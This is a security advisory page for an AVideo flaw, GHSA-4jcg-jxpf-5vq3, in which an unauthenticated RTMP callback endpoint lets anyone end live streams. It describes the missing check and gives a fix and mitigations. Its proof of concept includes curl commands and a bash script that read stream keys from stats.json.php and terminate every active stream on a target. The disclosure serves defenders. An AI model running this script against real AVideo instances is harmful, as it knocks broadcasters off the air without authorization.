AVideo: Unauthenticated Live Stream Termination via RTMP Callback on_publish_done.phpGHSA-4jcg-jxpf-5vq3
HIGHFix: WWBN/AVideo@e0b9e71GHSA-4jcg-jxpf-5vq3 is a high-severity (CVSS 7.5) Missing Authentication vulnerability in wwbn/avideo. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-4jcg-jxpf-5vq3.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The AVideo on_publish_done.php endpoint in the Live plugin allows unauthenticated users to terminate any active live stream. The endpoint processes RTMP callback events to mark streams as finished in the database, but performs no authentication or authorization checks before doing so.
An attacker can enumerate active stream keys from the unauthenticated stats.json.php endpoint, then send crafted POST requests to on_publish_done.php to terminate any live broadcast. This enables denial-of-service against all live streaming functionality on the platform.
Details
The file plugin/Live/on_publish_done.php processes RTMP server callbacks when a stream ends. It accepts a POST parameter name (the stream key) and directly uses it to look up and terminate the corresponding stream session.
// plugin/Live/on_publish_done.php
$row = LiveTransmitionHistory::getLatest($_POST['name'], $live_servers_id, 10);
$insert_row = LiveTransmitionHistory::finishFromTransmitionHistoryId($row['id']);
There is no authentication check anywhere in the file - no User::isLogged(), no User::isAdmin(), no token validation. The endpoint is designed to be called by the RTMP server (e.g., Nginx-RTMP), but since it is a standard HTTP endpoint, any external client can call it directly.
Additionally, stream keys can be harvested from the unauthenticated stats.json.php endpoint, which returns information about active streams including their keys.
Proof of Concept
- Retrieve active stream keys from the unauthenticated stats endpoint:
curl -s "https://your-avideo-instance.com/plugin/Live/stats.json.php" | python3 -m json.tool
- Terminate a live stream by sending a POST request with the stream key:
curl -X POST "https://your-avideo-instance.com/plugin/Live/on_publish_done.php" \
-d "name=STREAM_KEY_HERE"
-
The server responds with HTTP 200 and the stream is marked as finished in the
live_transmitions_historytable. The streamer's broadcast is terminated. -
To disrupt all active streams, iterate over keys returned from step 1:
#!/bin/bash
# Terminate all active streams on a target AVideo instance
TARGET="https://your-avideo-instance.com"
curl -s "$TARGET/plugin/Live/stats.json.php" \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
for stream in data.get('applications', []):
for client in stream.get('live', {}).get('streams', []):
print(client.get('name', ''))
" | while read -r key; do
[ -z "$key" ] && continue
echo "[*] Terminating stream: $key"
curl -s -X POST "$TARGET/plugin/Live/on_publish_done.php" -d "name=$key"
done
Impact
Any unauthenticated attacker can terminate live broadcasts on an AVideo instance. This constitutes a denial-of-service vulnerability against the live streaming functionality. Combined with the unauthenticated stream key enumeration from stats.json.php, an attacker can systematically disrupt all active streams on the platform.
- CWE-306: Missing Authentication for Critical Function
- Severity: Medium
Recommended Fix
Restrict the RTMP callback endpoint to localhost connections only at plugin/Live/on_publish_done.php:3:
// plugin/Live/on_publish_done.php:3
if (!in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) {
http_response_code(403);
die('Forbidden');
}
Since this endpoint is designed to be called by the local RTMP server (e.g., Nginx-RTMP), it should only accept requests from localhost. External clients should never be able to invoke it directly.
Found by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Affected Products
avideowwbnDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of wwbn/avideo for GHSA-4jcg-jxpf-5vq3. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is GHSA-4jcg-jxpf-5vq3 in your dependencies?
Find it across Packagist, including transitive dependencies.